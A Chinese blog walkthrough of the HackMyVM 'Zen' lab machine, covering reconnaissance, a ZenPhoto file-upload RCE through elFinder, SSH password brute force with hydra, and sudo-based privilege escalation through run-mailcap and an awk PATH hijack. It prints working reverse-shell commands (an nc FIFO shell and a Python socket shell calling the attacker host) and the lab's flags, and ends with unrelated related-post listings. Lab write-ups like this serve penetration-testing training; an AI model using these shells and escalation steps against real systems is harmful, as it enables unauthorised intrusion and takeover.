HackMyVm.eu:Zen 完整渗透流程

OSCP-ZenPhoto(zenphoto) 目标机器的根页面将带到标题为“UNDER CONSTRUCTION”(建设中)的空白页面。/test/目录将带到下面的页面,根据右下角,该页面正在ZenPhoto上运行。查看页面源代码并滚动到底部可以看到正在运行的ZenPhoto的确切版本。该shell不太稳定,反弹一个稳定的shell。爆破目录 和 nikto 一下。以下漏洞检测为“极有可能”google搜索查看漏洞。 阅读详情
零基础学黑客,搜索公众号:白帽子左一

作者:掌控安全——xiaoxian

一、环境配置

1、靶机信息
下载地址:

https://hackmyvm.eu/machines/machine.php?vm=Zen

靶场: HackMyVm.eu

靶机名称: Zen

难度: 困难

2、搭建环境

攻击机:kali 192.168.100.102 将kali网卡桥接到靶机在一个网卡上

图片

图片

二、渗透过程

1、信息收集

获取靶机IP地址

nmap -sP 192.168.100.1/24

图片

扫描端口服务

sudo nmap -sC -sV -p- 192.168.100.105 -oN nmap.log

图片

发现有 robots.txt 访问一下
图片

发现有几个目录,访问试试
只有一个zp-core目录访问后是空白页面,其他都报403

看看主页

图片

开启BP抓取数据包看看
图片

好像没啥搞头,继续目录扫描,看是否有敏感目录

目录扫描

gobuster dir -u http://192.168.100.105/site/ -w /usr/share/dirb/wordlists/big.txt -t 100 -x .php,.txt,.zip

图片

尴尬,好像没啥目录

换个工具试试,也有可能是字典不够强大…

dirsearch yyds 扫出来了些东西

图片

挨个访问,也没啥有用的东西啊…

回看刚刚的数据包,好像有个东西错过了

图片

zenphoto 是个应用,查看响应版本的是否有漏洞

找到一个文件上传RCE的漏洞

图片

但是需要登录

所以我们现在需要寻找登录的目录

dirsearch -u http://192.168.100.105/zp-core -t 100 -e php

图片

找到登录地址了

访问

图片

但是不知道账号密码

图片

啊这 点一下登录框就提示admin

尝试爆破一下

发现不行

回忆之前发现的一个疑似密码的目录

图片

很快啊,就进去了~

图片

登录成功,来找找文件上传漏洞

图片

跟着要求复现一下

需要在插件中找到上传插件,然后勾选elFinder并点击应用,之后将webshell拖放到上传功能页面中上传,最后到uploaded目录下找webshell文件

图片

尝试上传webshell

webshell写一个访问式反弹的语句

&1|nc 192.168.100.102 443 >/tmp/f’);?>

图片

上传成功,准备连接执行反弹shell
kali 监听 443端口

sudo nc -lvvp 443

图片

访问webshell触发反弹

在webshell文件中右键菜单中点击Get info即可触发反弹

图片

反弹成功,

现在我们开始信息收集,查看些敏感信息

图片

发现无法交互

要先切换到交互shell

linux系统默认安装python

我们利用python来获得一个交互shell

python3 -c ‘import pty;pty.spawn(“/bin/bash”)’

export TERM=xterm

Ctrl+z快捷键

stty raw -echo;fg

reset

图片

切换成功,我们来看看一些敏感信息

cat /etc/passwd |grep bash

图片

发现了三个账户信息,继续寻找

cat /var/www/html/zenphoto/zp-data/zenphoto.cfg.php

发现数据库账号密码,test teste

在这里插入图片描述

上面有拿到三个账户名,现在对这三个用户进行密码爆破

vim user.txt

kodo

zenmaster

hua

将三个用户名写入 user.txt 进行ssh 爆破

图片

hydra -L user.txt -P user.txt ssh://192.168.100.105

图片

拿到账号密码,登录SSH

ssh zenmaster@192.168.100.105

图片

登录成功,找到user.txt

图片

hmvzenit

图片

发现使用kodo 使用su命令无需密码

sudo -u kodo /bin/bash -p

拿到kodo权限,继续提权

发现hua可以无密码执行/usr/bin/see,

图片

发现see是run-mailcap的软链接,来看看run-mailcap如何提权

https://gtfobins.github.io/gtfobins/run-mailcap/

图片

知道提权方法,尝试一下

sudo -u hua /usr/bin/see --action=view /etc/hosts

命令执行后直接输入!/bin/bash然后回车返回hua的shell

图片

图片

还得继续提权

在这里插入图片描述

发现可以使用hua用户身份执行/usr/sbin/add-shell ze

看看/usr/sbin/add-shell是什么程序

cat /usr/sbin/add-shell

图片

在源码中看到程序会执行awk命令,我们来劫持这个命令来反弹shell

kali 上监听 4444端口

sudo nc -lvvp 4444

在/usr/local/bin目录下创建awk

cd /usr/local/bin/

vi awk

chmod +x awk

python3 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.100.102”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/bash”,“-i”]);’

图片

使用root用户身份执行add-shell

sudo /usr/sbin/add-shell zen

图片

反弹成功,拿到root权限,来找下flag

图片

图片

拿到root.txt 渗透结束

hmvzenit

hmvenlightenment

图片
在这里插入图片描述
在这里插入图片描述

Z-BlogPHP 1.5.2 Zero后台存在文件上传漏洞复现( CNVD-2019-12772) 文章目录0x01 简介0x02 漏洞概述0x03 影响版本0x04 漏洞编号0x05 漏洞分析第一步 获取数据包,查看文件上传功能接口第二步 查看该文件源码第三步全局搜索该函数,查看UnPack函数第四步 首先对app.php中的源码进行分析第五步 接着向下,继续分析,第六步 则根据最后一步骤,可生成开始时的exp,0x06 环境搭建第一步 使用phpstudy搭建网站第二步 解开源码压缩包第三步 打开浏览器第四步 默认下一步,直到数据库配置第五步 创建数据库第六步 输入相关信息点击下一步第七步 跳转至首 阅读详情

相关推荐

zenphoto php开源电子相册源码

zenphoto php电子相册,开源的好项目,支持插件 支持主题。大家可以在http://www.autotier.com或http://www.autotier.com/album上看到具体的演示效果哦。如果大家在安装使用上有什么问题或建议,可以在http://www.autotier.com或http://www.autotier.com/album网站上跟我留言哈。

带妹玩转Vulnhub【十一】

前言 国庆第四天œ∑´ 千金散尽还复来 开始 主机发现 netdiscover -r 192.168.43.0/24 端口扫描 nmap -A -p- -T4 192.168.43.232 渗透测试 80端口查看,emm没什么发现,针对smb服务我们可以使用enum4linux进行扫描,同样的使用dirb扫描一下目录 可以看到backup目录,可以看到这应该是个网站的源码,下载下来,但...

BadRer的博客 705

zpbase:Zenphoto 主题

数据库 Zenphoto 主题 关于 将“zpbase”文件夹安装/上传到 Zenphoto 安装的“themes”文件夹中。 在 Zenphoto 的后台管理中激活主题和设置选项。 Zenphoto 是用于多媒体网站的独立 CMS。 我们的重点在于易于使用并在您需要时拥有所有功能(但如果您不这样做,则不方便。) Zenphoto 支持图像、视频和音频格式,Zenpage CMS 插件提供完全集成的新闻部分(博客)和自定义页面来运行整个网站。 这使得 Zenphoto 成为插画家、艺术家、设计师、摄影师、电影制作人和音乐家的个人网站的理想 CMS。 zpBase 是 Zenphoto 的主题,设计风格简约,易于定制。 从明暗对比开始的选项。 从移动到桌面完全响应,无需单独的主题,手机、平板电脑等功能 - 全部内置。完全流畅,能够设置自己的最大宽度或完全 100% 宽度。 主页、相

【亲测免费】 ZenPhoto: 一个简单易用的照片和图像管理系统

ZenPhoto: 一个简单易用的照片和图像管理系统 是一个开源的照片和图像管理软件,它可以帮助您轻松地管理和分享您的照片和图片。 功能特性 简单易用的界面设计,无需编程知识即可进行基本操作 支持多种文件格式,包括JPEG、PNG、GIF等 支持自定义模板,可以根据自己的需求调整网站样式 支持多种语言,方便多语种用户使用 可以通过FTP或SFTP上传图片,支持批量上传 可以创建相册并设置访问权限...

gitblog_00044的博客 810

zenphoto:Zenphoto开源图库和CMS项目

Zenphoto 较简单的媒体网站CMS 欢迎来到Zenphoto git存储库! 关于 Zenphoto是用于多媒体网站的独立CMS。 我们的重点在于易于使用,并在需要时在其中提供所有功能(如果不需要,则不提供使用功能)。 Zenphoto支持图像,视频和音频格式,并且Zenpage CMS插件提供了完全集成的新闻部分(blog)和自定义页面,可以运行整个网站。 这使得Zenphoto成为插画家,艺术家,设计师,摄影师,电影制片人和音乐家个人网站的理想CMS。 阅读有关更多信息。 安装,升级和要求 请参阅“。 支持 有关Zenphoto的一般讨论,请访问。 如果您认为自己遇到了Zenphoto错误,请遵循以下准则: 关于安全性问题,请始终通过我们的与我们 贡献 有关捐款的一般信息,请参见

PHP电子相册(附MySQL数据库)

可上传图片,浏览图片,创建新相册,向相册中添加、删除图片。可浏览好友公开的相册。

Run - hackmyvm

hackmyvm的Run靶场

tanbinn的博客 820

zenphoto 在线相册 v1.4.4.4

ZenPhoto是一款小巧的相册软件,基于PHP+MySQL技术构建,另需GD库支持。它安装方便,扩展性强,可轻易安装各类模版及插件,并可与 Wordpress整合。具备RSS输出、FTP上传方式、Tag功能、评论回复等功能,它除了能存放图片外,还支持FLV及WMV视频。

hackmyvm入门(靶机网络配置)

hackmyvm概述hackmyvm靶机下载地址靶机网络配置测试环境环境搭建愉快玩耍 hackmyvm概述 hackmyvm是一个平台,包含了大量靶机,类似于vulnhub、hackthebox等平台,你可以在上面下载靶机,进行渗透测试练习,非常适合热爱黑客技术或从事渗透测试的人员。我个人觉得,hackmyvm相比vulnhub好的地方在于它的靶机所占磁盘空间小,hackmyvm靶机一般在1G左右,而vulnhub靶机动不动就2G,甚至我见过还有6G的。不扯这些了,今天是聊一聊hackmyvm到底怎么玩.

Bu2n的博客 7988

目前国外最好最流行的10款相册CMS(图)

做相册的CMS很多.国内也有.本文主要介绍的是国外最流行的十种CMS相册.大家可以参考一下

zenphoto在线相册系统官方版 v1.4.4.4

zenphoto在线相册系统官方版 v1.4.4.4 系统介绍: zenphoto在线相册系统是一款简单易懂的系统,该系统以PHP+MySQL来实现的,系统的功能很强大,而且以Wordpress整合,还实现一些FTP上传方式,评论等功能,喜欢的朋友可以下载研究一下。

打靶手记之hackmyvm--connection

有读者想看打靶的文章,那就出个系列好啦先虚拟机配置,麋鹿运行靶场的环境为centos7,先在vmware设置里里启用虚拟化创建一个新的 repo 文件导入以下内容下载今日靶场导入VirtualBox并运行如下图,centos和kali选nat靶机选桥接,接口选以太网接口,也就是物理网络接口。桥接和nat的区别之前文章提到过,不懂的去看一下那张图先扫网段然后端口有ssh,http,smb先看一下web页面,默认页面扫目录没有东西,端口扫描发现445开放,那就去看看smb。

milu_Sec的博客 1547

Synopsys工具链实战:如何用VCS、DC、ICC和Calibre跑通你的第一个数字IC设计项目?

本文详细介绍了如何使用Synopsys工具链(VCS、Design Compiler、ICC和Calibre)完成数字IC设计项目,从RTL代码到GDSII版图的全流程。涵盖环境配置、RTL设计验证、逻辑综合、物理实现及签核验证等关键步骤,帮助工程师掌握高效的数字IC设计流程。

weixin_42525005的博客 196

dc01 - hackmyvm

hackmyvm的dc01靶场

tanbinn的博客 1821

c#窗体应用(.NET Framework)项目对Yaml文件进行写入与读取,Yaml数据转换成json

用到的技术与版本准备工作Yaml数据在C#中进行定义对Yaml文件的读取与写入代码的添加窗体控件控制操作写入数据到Yaml文件读取Yaml文件数据Yaml数据转换成json改进——对yaml文件读取时根据yaml文件中的键进行获取,对c#中怎么取名字无关yaml文件中多个数据读取遇到的问题总结的小点参考的文章在对Yaml文件进行读取前,先将Yaml文件中的数据结构在c#中进行定义,以便后面更好的读取。这里对这四个类型进行举例(这里为了想看看这四个类型到Yaml文件的格式是什么样子的)

永远年轻 1587

养龙虾经验:OpenClaw用户必看的3个“省token”救命配置

本文分享了3个优化OpenClaw使用成本的配置方案:1)启用上下文压缩功能,可选择全局或单个代理设置,支持safeguard/adaptive两种压缩模式;2)修改SOUL.md提示词,要求模型回答简洁直接;3)限制对话历史长度。方案一效果最佳,可减少长对话的token消耗,但可能影响连贯性。三种方案可单独或组合使用,需根据实际场景调整参数。文章最后邀请读者分享使用痛点,将针对高频问题撰写解决方案。

wpplvhq的专栏 1416

volumill插件下载网盘地址_介绍几个不错的免费开源PHP相册网盘系统

介绍几个免费开源PHP相册网盘系统。1、PiwigoPiwigo带有非常简单的安装界面和管理面板,具有强大的功能来发布和管理您的图片,强大丰富的插件让它号称是相册当中的Wordpress。官方网站:http://cn.piwigo.org/如果在官方网站下载的是piwigo-netinstall.php单文件安装脚本,将它上传到服务器,然后打开这个文件,提示进入网络安装(选择安装包方式请忽略这一...

weixin_39755625的博客 1257

26届数字IC秋招笔试面试全攻略-ASIC设计流程全解析

本文系统介绍了ASIC芯片设计的全流程。前端设计包括规格制定、架构设计、RTL编码和功能验证;后端设计完成物理实现,涵盖布局规划、时钟树综合、布线和物理验证等步骤;Tapeout阶段完成制造数据准备和交付。文章详细说明了各阶段的关键任务、验证方法和设计指标,并列举了典型工具链,为ASIC设计提供了全面的流程指导。通过严格的检查清单和验证步骤,确保芯片设计符合制造要求和性能目标。

2301_79143213的博客 365

多款开源免费网络相册/相册系统源码推荐

Flickr和Picasa是目前互联网两家知名的免费照片储存、分享的网站。当然你也可以拥有一个类似的网站,笔者今天整理并推荐几款国内外开源的相册源码。 Gallery   Gallery 是国外一个免费开源的图库相册软件,基于 PHP 和 MySQL/PostgreSQL 等数据库。功能非常强大,有丰富的扩展可以下载,安装很简单,有很多插件可用。非常易于使用,包括一个配置向导,对于相片

初学者的专栏 1万+

人形机器人构成及成本估算(附报告)

这些执行器本身由螺杆、减速器、电机、传感器、滚珠轴承和编码器等组件构成。实现线性与旋转运动互转。人形机器人的运动系统可以由电驱动、液压驱动或气动驱动组成,但由于电驱动具有更高的精度和更快的响应速度,正在成为主流设计方案。执行器:NSK、THK、Harmonic Drive、Leaderdrive、Nidec、Moons。由螺杆、减速器、电机、传感器、轴承和编码器组成(如上为Tesla Optimus执行器设计示意)。传感器:Keyence、Robosense、Sensata、ATI、TE、Sony。

具身机器人和通用AI 1769

Android oom_adj 更新原理(一)

通过之前的两篇博文《lmkd 机制详解》和《lmkd中adj score的算法剖析》中,根据计算出来的 min_score_adj 选择大于该值的 oom_adj 的进程进行 kill 处理。oom_adj 随着应用状态的不同其值也是伴随着变化的。本文将通过源码剖析 oom_adj 更新的原理。

私房菜 2652

渗透测试练习No.45 HackMyVm之Worrosion3

靶机信息 下载地址: https://hackmyvm.eu/machines/machine.php?vm=Corrosion3 靶场: HackMyVm.eu 靶机名称: Worrosion3 难度: 简单 发布时间: 2022年2月18日 提示信息: 无 目标: 2个flag 实验环境 攻击机:VMware kali 192.168.7.3 靶机:Vbox linux IP自动获取 信息收集 扫描主机 扫描局域网内的靶机IP地址 sudo nmap -sP 192.168.7.1/24.

hljzzj的博客 5709

【功能安全】软件安全架构

目录01 软件安全架构介绍02 软件架构设计模板03 软件架构设计示例 软件架构设计的目的 软件架构设计的原则 软件架构设计输入与输出 软件架构设计的要求 注:软件架构设计和软件安全要求之间的双向可追溯性。软件架构设计原则: 软件架构静态/动态设计(参考秒尼科技术) 软件架构静态设计 软件架构动态设计 软件分层架构设计 软件架构设计安全机制错误探测的安全机制 其中:数据的范围检查指输入输出数据的范围进行检查,例如:在程序中我们可以通过数据范围来排除数据的正确性;合理性检查 例如:使用参

weixin_36460584的博客 511

Zenphoto Rewrite .htaccess

 RewriteEngine On# !!! Change this to the web path (eg: http://www.example.com/photos --> /photos) !!!RewriteBase /photosRewriteCond %{REQUEST_FILENAME} -f [NC,OR]RewriteCond %{REQUEST_FIL

xI4oh4o 's blog 1140

6.10华为OD机试真题 新系统 - 查找温度记录统计信息 (Java/Py/C/C++/Js/Go)

6.10华为OD机试真题 新系统 - 查找温度记录统计信息 (Java/Py/C/C++/Js/Go)

算法大师! 434

lwip-2.0.3

lwip是瑞典计算机科学院(SICS)的Adam Dunkels 开发的一个小型开源的TCP/IP协议栈。实现的重点是在保持TCP协议主要功能的基础上减少对RAM 的占用。

靶机渗透练习07-HackMyVm Area51 (Log4j2复现)

靶机地址:https://hackmyvm.eu/machines/machine.php?vm=Area51 网盘链接:https://pan.baidu.com/s/1MYO7cEOg2xou1FrC40v6qg?pwd=ja7r 1、主机探活 arp-scan -I eth0 -l (指定网卡扫) 扫描局域网所有设备(所有设备IP、MAC地址、制造商信息) masscan 192.168.111.0/24 -p 80,22 (masscan 扫描的网段 -p 扫描端口号) netdiscover.

Force~ 3124

IMSL CNL 7.0.0 (x86-64)Crack

IMSL CNL 7.0.0 (x86-64)Crack intel的算法库破解文件,这是C++版本的破解文件

上一篇: 挖洞经验 | 教你查看老板工资
下一篇: Weblogic未授权访问以及LADP远程代码执行(CVE-2021-2109)
普通网友
博客等级 码龄7年 3834粉丝 233原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值